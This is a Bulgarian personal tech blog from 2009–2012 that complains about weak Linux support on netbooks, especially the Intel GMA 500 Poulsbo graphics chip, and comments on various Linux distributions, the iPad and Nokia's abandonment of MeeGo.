разни измислени и дочути щуротии

Нова година, както твърдят може би фатална... нова играчка...

2012-01-15T20:13:00.001+02:00

Две години и два месеца - не очаквах, че толкова време ще имам за всекидневно ползуване нетбук с толкова противоречивата платформа Menlow. Но факт... В един момент осъзнах, че ако не искам да си остане мой во веки веков, трябва да се отърва от него сега. Което пък и не значеше, че трябва да го подаря де... Както и да е, смешното е, че навремето за EeePC 901 можах да взема с цели 100 лв. повече.Притежаването, толкова време на такава машинка на практика ме лиши от възможността да ползувам в ежедневието си любимата дотогава ОС - Linux, поради причини многократно коментирани от мен, да не се повтарям. От друга страна това ми даде възможността да съм страничен, уж безпристрастен наблюдател... Когато човек ежедневно се занимава с ровичкане по компютъра, това само по себе си е доста интригуващо занимание и отклонява вниманието му от някои фундаментални проблеми... Но и тази тема няма да засягам.

Жоре, знам че ми каза да взема Lenovo, но трябваше да си с мен в Plesio и да ги видиш двата ноут-а един до друг и да видиш какво дърво е Lenovo-то ! Предполагам от моя страна си беше чисто снобска изцепка, но машинката си струва парите, от карантията вътре до 7-та боза отгоре, като ОС...

Мързела си е мързел, но пък е много удобно всичко да ти е легално и нагласено. Пък все пак Sony си е Sony... Успях вече да проуча как стои въпроса с Linux на тази машинка, на този етап има проблем само с аудиото, но предполагам има доста по смислено решение, отколкото трагикомедията с драйверите за GMA 500...Е, поне на първо време се сдобих с не-лоша играчка, ако не друго...

Видин, крепостта

2011-04-17T11:19:00.004+03:00

Снимките са от есента на 2007, но чак сега ги качвам... Някои тогава побързаха да избягат от града... :D

Acer Aspire One излиза от забвението...

2011-03-13T22:03:00.001+02:00

Преди време, даже съм забравил точно кога беше, се предадох пред мрънкането на малката ми дъщеря и бях инсталирал на личния й нетбук (Acer Aspire One) Windows XP... Въпреки, че бях изнамерил олекотена версия, подходяща за нетбук със SSD, общо взето работеше потресаващо мудно. Като резултат от няколкото допълнителни програми, които беше инсталирала щерка ми и многократните аварийни изключвания на нетбука, поради забивания и пр., които бяха скапали бедния FAT32, системата беше добила уродлив вид, като стартирането отнемаше ни повече, ни по-малко от 5-6 минути !!! А, не дай Боже, да решите да гледате нещо от youtube и връзката да е не особено читава в момента... оле мале!
Накратко беше ми писнало. Чудех се само на каква дистрибуция да се спра, един път, че колкото и да съм следял събитията на фронта през това време, все пак една година активно не се занимавам с Linux... Ubuntu го изключих по презумпция – предполагам, че ще работи по-добре от XP-то, но честно – не ми се занимава с него и с камарата оптимизации, дето изисква карантията на нетбука.
Малко се заиграх с Jolicloud, но последно го отписах и него – прекалено много ти натрапва facebook, а и по същество си е ... Ubuntu. Малко се двоумих и за Fubuntu, но така и не направих опит с него – засега поне не ми изглежда на сериозен проект, дето ще има бъдеще и след като на автора му омръзне да се занимава с него (Linux-дистрибуциите са пълни с подобни примери). Въпреки, че това е много подходяща дистрибуция за нетбук с SSD.
И така – изрових из дълбините на шкафовете кутията на нетбука с recovery диска и след половин час имах оригиналния Linpus. За изминалите, почти 3 години се бяха натрупали доста ъпдейти на системата, което ме изненада приятно, явно продукта не е оставен на произвола на съдбата...
Linpus-ът на AAO имаше един съществен недостатък – освен mp3-ки друга медия с лицензионни кодеци не отваряше и съответно имаше нужда от допълнително ръчкане, което пък си беше приключение в базираната на Fedora 8 дистрибуция... Абе, накратко казано бях испозабравил повечето неща, един път, и още – Fedora 8 отдавна е неподдържана (актуалната версия е вече 14-та) и наличния браузер беше Firefox версия 2-не-знам-коя, също неподдържана отдавна... Въпреки всичко бях твърдо решен нетбука да работи с оригиналния си софтуер, при минимална намеса от моя страна.
Започнах отзад напред – Firefox 3 имаше наличен, като опционален ъпдейт от Acer... Това автоматично реши, да кажем проблемите с You Tube и пр. флаш- базирани простотии в мрежата. По същия начин се реши въпроса със Skype... Останаха кодеците. И не само те, но и освежаване на много основни неща, старателно компилирани без необходимата ми поддръжка. Решението на всичко това във Fedora/Red Hat – базирания свят се нарича – Rpm Fusion... Приятно се изненадах, че всички пакети за Fedora 8 са си мирно и чинно налични, мъкър и не толкова непосредствено от заглавната страница... Просто трябва да знаете точния адрес - тук, примерно...
От там нататък нещата се оказаха лесни с едно елементарно инсталиране в конзола на vlc...

yum install vlc

Е... не беше толкова лесно, поради някакви циклични зависимости, но инсталирайки първо спорната библиотека нещата се получиха.

Такива работи... Пременил се Илия, пак в тия...
Най-добрата операционна система за един компютър е тази, която е написана за него, колкото и лоша да е, сама по себе си...

no coments

2011-02-12T19:01:00.004+02:00

Явно това е краят на заигравката на Nokia с Linux-платформите - справка тук ...

Жалко, от една страна. Но явно са си дали добре сметка нависоко в корпорацията, че не им стигат силите да се мерят с Google & Android.
Жалко, че завлякоха в небитието по този начин и нелош проект, като MeeGo, а покрай него и Moblin (тези дни четох и за новина за спирането на Goblin на OpenSUSE). Всъщност Moblin откакто Intel го харизаха на The Linux Fondation по същество си се превърна в "пътник"...
Жалко, много жалко...
Като се замисли човек, че държат и Qt, че набутаха Symbian в пета глуха... Редът на мисли в този дух може да продължи.

Fedora 14

2010-11-03T21:15:00.002+02:00

От суеверие пропускайки каквито и да било занимания с 13-та версия на любимата дистрибуция, смело свалих още снощи Live-медията на 14-ката и я пробвах на Асуса... Като изключим това, че трябваше да се задоволя с Vesa за видеоадаптера, учудващо добре работи "от кутията", включително такива детайли, като управление на яркостта с F5/6 и прочие... Направо ще се прежаля да инсталирам на SD-карта и да до-експериментирам с testing варианта на psb драйвера на Rpm Fusion... Чудеса не се очакват, така или иначе, но поне ми се ще да видя що-годе работеща Linux-дистрибуция на EeePC 1101... А-а-а щях да пропусна - multitouch gestures на тъч-пада все пак не работят, а би трябвало, както пише по дебелите книги... Жалко...

една година без Linux

2010-10-06T21:45:00.003+03:00

Замислих се тези дни и се сетих, че преди почти година продадох предишния си нетбук, който беше с преинсталиран Linux и купих сегашния си, който е с преинсталиран Windows XP... Знаех, преди това, че карантията на машинката (Intel SCH "Poulsbo") е много зле поддържана под Linux, но да си призная не съм си давал сметка колко е отчайващо положението. Естествено има доста внушителна група ентусиасти, работещи усилено за подобряването му (справка - тук, тук...), но засега резултатът е доста спорен. И не би могло да е иначе, щом Imagination Technologies & Intel не публикуват никакви технически параметри касаещи работата на оригиналния драйвер, което прави пригаждането му към Xorg srever по-нов от вер.1.6 граничещо с гадаене на боб. Какъв избор би имал Linux-потребителя ? Или си седите на стари версии на дистрибуциите, или се задоволявате с, да кажем Vesa и липса на екстрите притежавани от чипсета...
Но да не дълбая тази тема, че ще ме апострофират пак някои мои приятели... Ще допълня само едно - дори и в случаите в които има добра поддръжка, не е 100% сигурно, че нетбукът ви ще работи пълноценно...
На фона на тези мисли ме обхваща носталгия по EeePC 901 и древния Xandros... Носталгия по машинка с Linux, конструиран така, че тя да се държи точно по начин, който очаквате от нея...
Надявам се мнозина ще ме разберат какво означава лаптопът ви да работи толкова часа на батерия, колкото очаквате; да затворите капакът лаптопа да "заспи" и при отварянето му "да се събуди" без да ви очакват изненади от сорта на черен дисплей, липса на WiFi, или да речем звук; да натиснете функционален клавиш за определено действие и той да върши без проблем работата си...
Естествено има късметлии, някъде нещата просто тръгват от кутийката, но това са по-скоро изключения от правилото... да не говорим, че ситуацията може да се промени коренно след поредния ъпдейт я на ядро, я на нещо, дето не би ви хрумнало че може да ви прецака, примерно звука (сещам се за един пример от ежедневието на Tigro - "сложих си OSS програма за N900, позволяваща на всеки контакт да се сложи различна мелодия и спря да работи вибрацията..." - е, това е все пак мобилен телефон, но пък е с Linux).
Изминалите няколко години изобщо не подобриха положението на Linux при лаптопите, имам пред вид популярните дистрибуции... Имах някакви надежди, когато през 2007-ма, макар и плахо ASUS и DELL решиха да експериментират на пазара, но година по-късно нещата замряха.
Въпросът "защо" е логичен, но в публичното пространство убедителен отговор така и не се получи. Това за върнатите машинки с Linux, за дългата ръка на Microsoft и прочие в стил "световната конспирация", колкото и да се докосват до истината не изчерпват всичко.
Сам по себе си Linux от доста навреме насам е пълноценна десктопна система. Който е работил с Windows 7, вижда колко много идеи са заимствали в прозорците от "нашите" среди. Да, но квалитетните лаптопи се продават с Windows 7, не с Linux. Нищо, че що се отнася до желязото положението с Win 7 към момента понякога е по-зле.
Истината е, че в Microsoft са добри ученици и още по-добри търговци... Не случайно Canonical се опитват да комерсиализират, макар и плахо отделни аспекти от Ubuntu, но все още движение в такава посока в Linux-средите се възприема като ерес.
Парадоксално е, но тъй много оплювания Android към момента е най-успешната пазарна реализация спрямо крайни клиенти на такава платформа...

Mageia бъдещето на Mandriva

2010-09-18T20:46:00.003+03:00

Както много пъти съм споменавал - Mandriva е била винаги една от любимите ми дистрибуции, колкото и заклетите апологети на Linux да гледат с пренебрежение на нея (обзалагам се 20 срещу 1, че на повечето от тях им е първата инсталирана дистрибуция). Много пъти, в чисто бизнес план, те са били на ръба на банкрута, като последния път беше в началото на годината... Явно този последния случай е прехвърлил някаква граница на търпимостта сред голяма част от разработчиците й (на управлението на фирмата тежат също доста грехове спрямо тях, каквито и причини да са ги предизвикали - най-вече изгонването на основателя на дистрибуцията Gaël Duval преди 4-5 години, наскоро Adam Williamson, който все пак отиде в Red Hat). Та резултатът е проект за форк на дистрибуцията с име - Mageia... С интерес ще следя продължението на тази история - mageia.org

OpenSUSE 11.3

2010-07-17T19:14:00.006+03:00

Преди дни се появи на бял свят стабилната версия на OpenSUSE 11.3. Тъй като известно време преди години ползувах на десктопа в къщи точно него (10.2 май беше) и първия си лаптоп го купих също с него, преинсталирано уж, та веднага си свалих LiveCD-то за светкавичен тест. Първото разочарование беше, че дори и с тази версия не е възможен лесен, НЕ-хакерски начин на dump на iso-то върху USB-стик (Unetbootin не върши работа- на втория етап от стартирането boot-loader не може да си намери root-файловата система). Мързеше ме да проучвам въпроса, затова след известно ровене по разни забутани кутии и чекмеджета успях да намеря празен диск и го изпекох... Има много нововъведения по самата система, така да се каже в карантиите, в YAST, в интерфейса, в системните инструменти (няма го вече sax2), но не затова ще пиша (който го интересува нека чете подробно release note). Ще пиша за разочарованието на един редови потребител от това с което се сблъсква при първия си досег с една от най-популярните и модерни Linux-дистрибуции. Не си губих времето да пробвам всичко това на netbook-а ми - ASUS 1101 HA, на него не си струва да се занимава човек с линукс - NO WAY !!!... Опитът беше извършен на старата кранта - EasyNote MZ36 - с двуядрен интелски процесор от първото поколение и доста популярното преди години в notebooks вградено видео на ATI/AMD - Radeon XPress 200M... конфигурация достатъчно стара, без да е прекалено древна, че да се поддържа със затворени очи от която и да е съвременна дистрибуция.
Дизайнът на десктопа не се е променил от 2-3 години вече, което само по себе си не е чак толкова голяма беда (XP-то не е мръднало от 2001-ва). Но какво разочарование изпитах, когато, опитвайки се да включа визуалните ефекти, ми беше отказано - поради липса на direct rendering !!!??? А стига бе - ако свободния драйвер radeon, вече не може от воле да се справя с Xpress 200, просто нямам думи! Във Fedora от 11-та насам си имаше проблеми с авто- разпознаването и конфигурирането, което можел модерния Xorg, но хайде - там така или иначе всичко е по ръба на бръснача - всичко най-ново и експериментално.
От този момент нататък загубих желание за по-подробен тест. Иначе всичко друго, общо взето работеше безпроблемно - wifi, функционални клавиши... Само не пробвах дали има звук през слушалките (упорит проблем, по времето, когато купих лаптопа) и suspend to RAM... Не си струваше...
Не помня миналата, или по-миналата година беше обявена за годината на Linux-десктопа. Не би... Ако, за да имаме перфектен такъв, трябва да сме собственици на последно поколение хардуер, както явно е битуващото мислене сред повечето разработчици на Linux-дистрибуциите (впечатление споделяно не само от мен), то нещата са много сбъркани. Или тихомълком Linux започна да се отдръпва от битката за масовия десктоп. Не претендирам това, което пиша да е обективен обзор, по-скоро е твърде емоционално. Изобщо не искам да омаловажа това, което е OpenSUSE... Но и не искам да скрия разочарованието си.

...

2010-07-12T22:21:00.000+03:00

Лятото е в уж разгара си, а все още не смея да изляза без яке и избягвам да спя на отворен прозорец... Няма що ! Не зная на какво се дължи - климат ли, исландски вулкани ли, но тази година си е направо студено за юли... На всичкото отгоре имам толкова много работа трета ли, четвърта ли вече седмица подред, че се прибирам към 7-8, ям и лягам да спя. Лошото е, че ще е така до септември...
За Linux изобщо не остава време... Изпробвах само новоизлязлата версия на Mandriva - 2010.1, която и без това се появи с повече от два месеца закъснение. То пак добре, че Mandriva почти беше дала фира покрай кризата, ама май прескочи трапа засега. Щеше да е жалко, че си ми е любима от едно време. То изпробване е силно казано, защото X-а издържа около минута и заби, поради причина- притежаваната от мен машинка с Menlow платформа - на разбираем език казано графичен адаптер Intel GMA 500 (Poulsbo)...
Изобщо ситуацията с въпросния чип имам чувството, че доби някакви парадоксални размери. Никакъв нишан за решение що се отнася до работещ, пълноценен Linux-драйвер, с изключение на лабораторните постижения на Ubuntu-ентусиастите от заинтересованата група. Но дори и там всичко напомня удари напосоки, с налучкване, абе изобщо както беше казано - търсене на черна котка в тъмна стая в която изобщо няма котка... Резултатът на този етап е само 2D, никакво 3D и никакво хардуерно ускорено видео (VA-API)
Имаше някаква надежда с излизането на MeeGo, че ще се пръкне някакво решение, още повече, че в тяхното репо- се появиха някакви пакети в секцията non-free. Но изглежда те са просто пригодена стара версия, съдържаща "двоичното петно" от стария psb. Както Matthew Garrett от Red Hat споменава в блога си - простата аритметична сметка показва, че Intel върти в публичното пространство 3 различни драйвера за едно и също нещо... На мен ми се струват просто кьор-фишеци, просто всичко това е все същото нещо , написано набързо през 2007-2008 за версията на Ubuntu 8.04 за Dell. Така и до днес, това е единствената официално поддържана от производител машинка с преинсталиран Linux и платформата Menlow...
Тъпотиите не са само в Linux... Adobe издаде новата версия на Flash с поддръжка на хардуерно ускорено видео, като включи GMA 500, но само за Windows 7...

Fedora 13 Goddard

2010-05-14T22:07:00.005+03:00

...poulsbo...

2010-05-04T21:49:00.002+03:00

Най-сетне някакво раздвижване на фронта. Както A.Williamson съобщава в блога си, вече е налице доста напреднал стадий на разработка на комбинацията от пакети, които ще предоставят пълноценно функциониращо видео (2D и 3D) за Fedora 12, което ще рече за X server 1.7. Заслугата е на Olivier Blin от Mandriva. Трябва да очакваме скоро работещите пакети да се появят в Rpm Fusion. Що се отнася до наскоро излизащата Fedora 13 нещата са още не съвсем ясни - тя ще е с X server 1.8 и не е тествано дали ще работят пакетите с него. Освен това се очаква и проблем с Mesa, тъй като част от функционалността и, необходима за работата на Poulsbo във Fedora 13 e премахната. Така или иначе, явно няма да избягаме засега от стъкмистиката, за да може да се стартира пълноценно Linux на тази интелска платформа. Продължава пълната незаинтересованост на корпорацията да предостави актуален драйвер за Linux, а приказките за разработка по линията на Gallium 3D, засега са само слухове. То, докато излезе нещо, netbooks с този чип ще остареят и ще си купим нови...
...не е смешно...

Музика от ФСБ

2010-04-28T20:53:00.003+03:00

Една от групите с чиято музика съм израстнал най-сетне наруши мълчанието си - ФСБ... Вече не си спомням преди колко време излезе нещо тяхно. Повечето парчета от новия им албум са достъпни за свободно сваляне, е вярно в непретенциозен формат mp3/128, използуването им е допустимо при указани на сайта на ФСБ условия.
Мога да кажа само, че за мен те са просто най-добрата българска поп/рок група която знам и го доказват за пореден път.

Как стоят нещата с Poulsbo

2010-04-16T12:40:00.004+03:00

Ако закупите Netbook, като Dell Мини-12, или ASUS 1101HA които съдържат Z-серията Atom процесор Silverthorne (напр. Z530) или Netbook с един от ултрамодерните Atom Pineview чипсети (въпреки че те не са много разпространени все още,) ще получите новия US15W всичко-в-едно чипсет и с втория вариант - CPU + NB на един чип, вместо от старите 945GSE + ICH7 части, които се използуват в по-старите нетбуци с N2x0 серията Diamondville атоми. Сега може да сте любопитни колко добре се представят IGP на тези нови чипсети.

Вътрешният IGP на US15W и Atom Pineview серията (и UL11L и US15L, които са за мобилни интернет устройства мисля) е наречен GMA500 (Poulsbo). Може би мислите, че GMA950 от 945-серията чипсети е по-бърз заради по-големия номер. Това може да е истина, но GMA500 в действителност е с повече възможности от GMA950.
Тук малко пояснение: GMA500 не е собствен продукт на Intel, това е леко модифицирано PowerVR SGX графично ядро, лицензирани от Imagination Technologies (б.а. - подобно се използува в iPhone на Apple).

Intel я определя като "гъвкава, програмируема архитектура, която поддържа Shader-базирани технологии, 2D и усъвършенствана 3D графика, декодиране на видео с висока резолюция и обработка на изображения. Удобствата включват гланцов екран, вътрешна true color обработка, Anti-Aliasing без допълнително натоварване, програмируем 3D shader-ускорител и 32-битови операции с плаваща запетая. "

Сега, ще сравним GMA500 (US15W вариант) и GMA950 с GMA4500MHD (GM45 чипсет, с DDR2 RAM).

GMA500 е с по-добри показатели в почти всичко в сравнение с 950, с изключение на memory bandwidth и clockspeed. GMA500 дори поддържа DX10.1, и може да обслужва едни и същи видео формати като GMA4500MHD.
В действителност при строго сравнение 950 може да бъде малко по-бърз от 500, заради горните два показателя, така че бъдете внимателни. Също така, US15W ви ограничава до максимум 1GB памет, което би довело до проблем при ъпгрейд (дотолкова, доколкото изобщо може да се говори за такова нещо в случая), макар и някои нови US15W-базирани нетбуци поддръжат до 2 GB оперативна памет.
Най-доброто нещо при GMA500 и чипа US15W като цяло, обаче е фактът, че комплектоването им с Atom Z530 (Z520) води до само 4,3 вата консумация на енергия общо. С N270 и 945GSE, консумацията е над 6 вата минимум плюс консумацията на процесора (всъщност доста прилично), но това все пак ви изяжда около 1 - 1,5 часа от живота на батерията... От личните ми впечатления мога да кажа следното - EeePC 901 при powersave режим (в този случай атома работи на около 1,2 GHz) с 4400 mAh-а батерия издържаше около 5,5 - 6 часа, докато EeePC 1101HA с ~~2200 mAh-а~~ 4400 mAh издържа над 8 часа (Z520 в този режим работи на 1 GHz).

С последните версии на драйверите за XP и 7-та се постига доста добра видео производителност, за разлика от ситуацията с Linux, разработката на драйвер за който "заспа" на ниво края на 2008 година и изобщо няма никакво развитие оттогава, по-зле - изглежда липсва и желание от страна на Intel & Imagination Technologies да се промени това положение (малко уточнение - това, че изобщо има такива драйвери се дължи на Dell и версията на Ubuntu за DellMini, но само за 8.04 и ядро и Xorg на това ниво, съществена част от кода е проприетарен и е почти невъзможно да се направи добре работеща актуална версия). OSS драйвери засега съществуват само във въображението на малцината ползуватели на такива машинки (като пишещия тези редове) и те трябва да се задоволят само с VESA, или доста мръснишки хакерски методи, споделени тук там, които решават нещата само до поредното обновяване на ядро, или Xorg... Това е положението...

Към настоящия момент няма много дънни платки, използуващи US15W, но изглежда приложението му ще се ограничи изключително в ултрамобилните решения, подходящи за хора непрекъснато в движение, обичащи netbook - ът им да е непрекъснато с тях и да издържа на автономна работа повече от един работен ден ( + 8 часа). Някои предложения са доста впечатляващи все пак - като Sony Vaio P, Asus R50A и няколко модела netbooks, в опит да се заобиколи ограничението за тях на Intel & Microsoft относно мощ на процесор, видеокарта и големина на дисплей ...

пак за iPad...

2010-04-06T22:09:00.003+03:00

iPad е вече факт на пазара... е все още само в USA. Еуфорията, критиките и подигравките (включая и тия от моя милост) се сипят в изобилие. но... попаднах на нещо много интересно, което искам да споделя тук.
Да, факт е - Apple направиха крайно проприетарно, затворено устройство, триумф на DRM, бетонирано с патенти за мултитъч и строга рестрикция за инсталируемите приложения... Доколко ще има пазарен успех, не знам - може би...
Но от друга страна, фокусирайки усилията си към усъвършенствуване на Safari (офлайн API, оптимизирано кеширане, вградена SQLite база данни) и HTML стандартите, те в крайна сметка продават едно устройство с платформа базирана на отворени, необременени с патенти технологии (няма Flash, няма Java, само чисти HTML5 приложения). Просто парадоксално !!!
Open Source,или Open Standarts ?... :)

Наследникът на Xandros - EB 4

2010-04-04T22:12:00.001+03:00

Вече излезе преди няколко седмици публичната версия на Eeebuntu 4… Всъщност „леко” преименувано на EB 4... Промените са не малко, но най-съществената е, че дистрибуцията се преориентира, като първоизточник от Ubuntu на Debian Squeeze... Сам по себе си момент предизвикващ доста размисли, но понеже доста от вторичните дистрибуции напоследък започнаха да се преориентират към Debian за сметка на Ubuntu, фактът не е за пренебрегване (без да отминаваме и това, че самото Ubuntu произхожда от Debian).
Не закъснях с инсталирането – веднага беше сложено на единия от наличните в къщи Asus-и – 701. За жалост на моя, личния все още не ми се слага, въпреки, че изрових един блог в който доста подробно се разглежда подкарването на Poulsbo под Debian Squeeze, но затова друг път.
Нещото, за което искам да разкажа е едно приложение включено в EB 4 – аплетът Jupiter, разработка на fewt.
Няма да разглеждам много подробно техническите аспекти, тъй като самият аз не съм чак толкова навътре в нещата... Който се интересува, нека да разгледа блога на автора.
Какво е най-същественото в случая с jupiter, за разлика от по стария аплет eeepc-tray ? Запазва същата функционалност, каквато имаше преди - управление на камерата, wifi, bluethooth (ако го има), различни резолюции на екрана, Super Hybrid Engine, овърклог на GMA... Всичко това няма необходимост от конфигурационен файл, който беше ахилесовата пета на старата програма. Получавате цялата налична информация, като просто поставяте курсьора върху иконата, информацията освен това се актуализира в движение. Jupiter помни последните ви настройкити и ги прилага при необходимост... Звучи добре...
Въпреки, че е все още само "бета" EB4 е великолепен избор за един netbook за тези които предпочитат Linux, и е на път, поне в моите очи да стане достоен заместител на оригиналния Xandros, който за жалост вече безнадеждно остаря (Debian "Etch" скоро съвсем ще отиде на лавицата с прашните, стари неподдържани версии).

Nvidia ION 2

2010-03-10T10:28:00.002+02:00

Попаднах на интересен материал във форума на laptop.bg. Напълни ми душата, защото усетът ми не ме е излъгал, когато съм твърдял, че netbooks са нещо в което има много хляб.
Тук няма да повтарям казаното там и да обяснявам какво е платформата ION на Nvidia, четете...
Тъжното в случая и обяснението, че споменавам всичко това в блога си е: ще има ли някога това поддръжка под Linux?...(за тези дето четат бързо - поддръжка на ION 2 засега има САМО в Windows 7) Nvidia са били винаги коректни към Unix-like платформите, но и сега ли ще бъде така? Или, поддръжката ще се появи (както често става) година, че и повече по-късно... Образно казано все на опашката (тук исках да употребя една друга, трибуквена дума) на прогреса...

...

2010-03-07T19:42:00.005+02:00

Излезе брой на вестника, за който обещах материал, но така и не подготвих. Откровено казано не ми се пише нищо напоследък на тема Linux... "... не пей ми се, не смей ми се...". Простата причина е, че нямам машина с работеща Linux-дистрибуция. Е, не точно - старият ми ноутбук има Fedora 11 на един мижав дял, но аз почти не работя на него - ползува го дъщеря ми, когато е при мен. Дори и в редките моменти, когато го пускам, по-скоро ме вбесява. Личният ми нетбук, не работи с Linux, при това скоро не се очертава да проработи, не и така, както искам аз. Какво да направя, като обичам да ползувам напредничави и нестандартни неща?!... Тия дни попаднах на публикация в блога на човек, чиято работа много уважавам. Самата публикация е доста интересна, но не на това искам да обърна внимание. Просто ще цитирам една мисъл, която изразява нещо, което е много близко до това, което се върти в моята глава, не бих могъл да го кажа по-удачно:

Unfortunately, I just don’t see that changing anytime soon. To those that read and understood what I was trying to say, thanks for your comments. To everyone else, stop making excuses and stop blaming everyone else because you aren't willing to comprehend that some of us that use Linux think it should be better.

Понякога предпочитам просто да не казвам нищо, защото кажа ли, ще бъде критика, дори по-лошо... Уморил съм се от спорове на тема "това, срещу онова"... Мисля, че и аз се причислявам към тези хора, ползуващи Linux и мислещи, че нещата би трябвало да са по-добри...

iPad, нещо като iПръц...

2010-02-07T19:51:00.005+02:00

Признавам си, през годините съм имал нещо като подсъзнателно влечение към продуктите на Apple... Не само като "желязо" (първият в живота ми разумен досег с компютър беше именно с българската реплика на една тяхна машинка), но и като концепции за потребителски интерфейс, дизайн и пр. Периодично съм оформял десктопа си да изглежда като OSX, а лисицата и в момента имитира на външен вид и държание Safari...
Всичко това не изключва недоумението ми от периодичните изцепки с техен адрес... (без да броим факта, че са дори по-върли проприетарщици и линцензни акули от Microsoft)
Последния балон се нарича iPad.
Не е тайна за никой какво нещо са netbooks последните 2-3 години. Apple дълго време не обръщаха внимание на този пазарен сегмент, като дори S.J. няколко пъти се изказа доста подигравателно по въпроса. Но явно в корпорацията са мътили усилено по въпроса. Та тези дни официално се пръкна рожбичката... Но... едва, едва попреминали хълцанията и възклицанията от, по традиция мегаломанското представяне, лъснаха неудобни истини... Клавиатура - само виртуална, при това адски неудобна. USB-портове - НЯМА... Уебкамера - НЯМА... Възможност за хардуерен ъпгрейд - НИКАКВА... Поддръжка на Flash - НЯМА...
Питам аз - за какво би ви служело това нещо, освен да решавате кръстословици в тоалетната, докато общувате с природата, или да цапардосате някой досадник, докато се перчите с новата си придобивка в някое фешън кафе - става за това - цели 9 инча е!!!
Накратко - благодаря!!! Ще продължавам да си ползувам презряния нетбук, а префърцунения таблет на Apple нека остане за кучето...

Linux, netbooks...

2009-12-28T22:07:00.010+02:00

Отново ще ви досаждам с темата за netbooks. Не толкова с това, какво те са и какво не, а с отношениеятя netbooks – Linux, към настоящия момент.
Linux трябваше да е Операционната Система (ОС ще употребявам за по-кратко) на netbooks – евтините ултрамобилни PC и то по много причини. Без да са нещо принципно ново, нетбуците промениха радикално отношението потребител – PC, като максимално доближиха потребителя до мрежата, един път с цената си, втори път с възможността да са непрекъснато с вас.
Към моментна на появяването им на масовия пазар – първо доста плахо и неубедително с OLPC и най-вече с удара в десятката направен от ASUS – Eee PC 701, просто нямаше разумна алтернатива за тях като ОС. Няма да изненадам никого с няколко цифри: приблизителното разпределение на десктопните операционни системи (ОС) – 2-3% за Linux, 5-6% за MAC OS X, и останалите за фамилията на Microsoft Windows. Изключвам от сметките продукта на Apple – политиката им винаги е била: софтуерът се продава само с комплект хардуер, за когото е бил разработен (от известна гледна точка много правилна политика, впрочем) но, на доста висока цена. Доминиращата, спомената трета, владееща повече от 90% от пазара на персонални десктопни ОС, към момента на появяване на netbooks, не беше готова за тях. Просто не се вписваше в концепцията за ниска цена и ниски системни изисквания. Тогава Microsoft се суетеше около явното фиаско на претруфената Vista и стремежа на всяка цена да се пусне в срок и с достатъчно добро качество следващата версия на Windows... Само й беше на Microsoft до енергоспестяващи платформи и ултрамобилност... А пазарът на netbooks беше някаква лавина – само една цифра: за 2009 година ръстът в продажбите им е от порядъка на 109% !!! С патовата ситуация през 2007 г. се стигна до първите Eee PC-та и преинсталирания на тях Xandros... Толкова много се е изписало около Xandros-а, не искам да повтарям нищо. Далеч съм от мисълта да правя ASUS великия фен на Linux (в последствие те много бързо се отказаха от него...). Но така или иначе, към споменатия момент това беше добро решение, с ползи и за двете страни. А и самият избор на една от утвърдените (но не от най-големите като Red Hat) фирми, предлагащи платени решения на базата на open source източници не беше напълно случаен. ASUS искаха да владеят положението с ОС на продукта си, нещо което с Ubuntu, или Debian – напълно разработвани от свободна общност нямаше да се получи. Това е само едната страна на нещата. А те са доста сложни... Ето само следния пример – известно е, че изобщо няма единно становище за това какво точно трябва да представлява дестопът с Linux, дето ще завладее пазара на масовия потребител... Още по-зле – най-големите критики към машинката с преинсталирания Linux (по точно към ОС, не към машинката) дойдоха от т.н. Linux-общност. Критики както директни, във вид на коментари доколко е бил удачен наподобяващия на GSM-меню интерфейс с табове, така и индиректни с лансиране на най-различни алтернативни решения за ОС, поставяйки по този начин под съмнение самия избор на дистрибуция... И се стигна до пълната менажерия от Eeedora, Eeexubuntu, Ubuntueee, че и Eeebuntu (нямащи нищо общо едно с друго, естествено, освен първоизточника си), че дори едно от BSD-та се разписа, без и да броя „основните” дистрибуции, които стартираха повече, или по-малко специализирани раздели в поддръжка на „мъниците”... Някак съвсем плахо, дори незабележимо премина и опита на Acer с Linpus Lite (личните ми впечатления от него не са никак положителни – някак умишлено орязана откъм възможностите и поддръжката си система), и като самотно дърво сред пусто поле остана DELL с техния вариант на Ubuntu... Това от гледна точка на дистрибуциите. Откъм десктоп средите положението е още по страшно – Ubuntu Netbook Remix на базата на Gnome, Linpus Lite на базата на XFCE, Moblin – стартирал на базата на Ubuntu, но мигрирал в последствие на Fedora и разработващ уникален потребителски интерфейс (въпреки, че в самата си основа е по същество XFCE), Jollycloud – напомнящ интерфейса на Moblin, но базиран основно на Ubuntu и външни разработки (array.org), да не забравяме и Chrome OS на Google, за която толкова много се шуми напоследък, но тя съдържа в себе си съвсем различна концепция... Та, нека за момент да се поставим на мястото на един производител на хардуер, който разработвайки един продукт иска на първо място той да се продава на масовия пазар добре, дори повече... Тук остават много далеч всякакви абстрактни принципи, единственото което е съществено е как ще се възприеме от редовия, масовия потребител, който не се вълнува от възвишените идеи на OSS, а от това доколко ще му върши работа, ще му е привичен, т.е. няма да го натоварва допълнително (нека не забравяме, че става въпрос за компютри, един път и нека не обвиняваме хората за нежеланието им да се учат на нещо ново)... В този ход на мисли е много логичен изборът на Xandros (наследила опита за Linux-дистрибуция на Corell), базирана на доста стабилна версия Debian, макар и не най-актуалната... и необичайния, за почти пълноценен компютър потребителсик интерфейс.
Предполагам мнозина няма да са съгласни с мен, но вроденото ми чувство за справедливост се разбунтува. Виждаме нещо, което отдавна е стремеж – да се види масов, радващ се на относително добро приемане Linux-десктоп, а от друга страна сме повече склонни да го отречем.
А когато разгледаме и въпросите около поддръжката на на хардуера, нещата придобиват още по-трагичен оттенък. Пак само Xandros и Dell (извиквайки на бял свят LPIA-порта на Ubuntu) бяха единствените даващи пълна хардуерна поддръжка на продаваните с тях машинки. Може и да пропускам някои, но намам повече лични впечатления: тук в България се продаваха HP2133 и MSI Wind със SLED, но бяха рядкост. И пак единствено Dell се постараха да бъдат най-коректни с потребителите си предоставяйки система, максимално оптимизирана за съответния хардуер. Въпреки, че и Xandros (с 2.6.21) и Ubuntu 8.04 (с 2.6.24) бяха с ядра НЕ-поддържащи Hyper Threading технологията на Intel, включена в Atom-процесорите. При ASUS това беше направено в неизлязлата версия 1.7 на Xandros Eee OS, но тя си остана само тестов вариант... А LPIA и досега е неофициален порт на Ubuntu и си е предизвикателство инсталирането на програми, невключени в базовата система.
